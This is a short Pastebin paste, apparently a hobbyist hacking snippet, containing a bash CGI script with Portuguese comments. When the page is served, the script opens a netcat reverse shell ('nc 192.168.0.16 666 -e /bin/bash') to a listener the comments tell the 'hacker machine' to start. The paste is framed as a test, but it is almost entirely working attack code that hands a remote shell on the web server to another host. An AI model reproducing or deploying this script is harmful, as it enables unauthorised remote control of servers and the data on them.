DarkProgrammer000

Xss [reverse shell + CGI]

Jul 9th, 2021 (edited)
394
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2.  
  3. '''
  4. Somente um teste de CGI
  5. Colocar dentro da pasta /usr/lib/cgi-bin
  6. Executar como cross site scripting
  7. Ativar na maquina hacker: nc -lvp 666
  8. '''
  9.  
  10. echo "content-type: text/html
  11.  
  12. <html>
  13. <head> <meta charset='utf-8' /> <title> CGI script </title> </head>
  14.  
  15. <body>
  16.        <h1> Algumas informações dentro do servidor em  o CGI está rodando:</h1>
  17.        <h4> Reverse Shell com netcat </h4>
  18.  
  19.        <pre>$(nc 192.168.0.16 666 -e /bin/bash)</pre>
  20. </body>
  21. </html>"
RAW Paste Data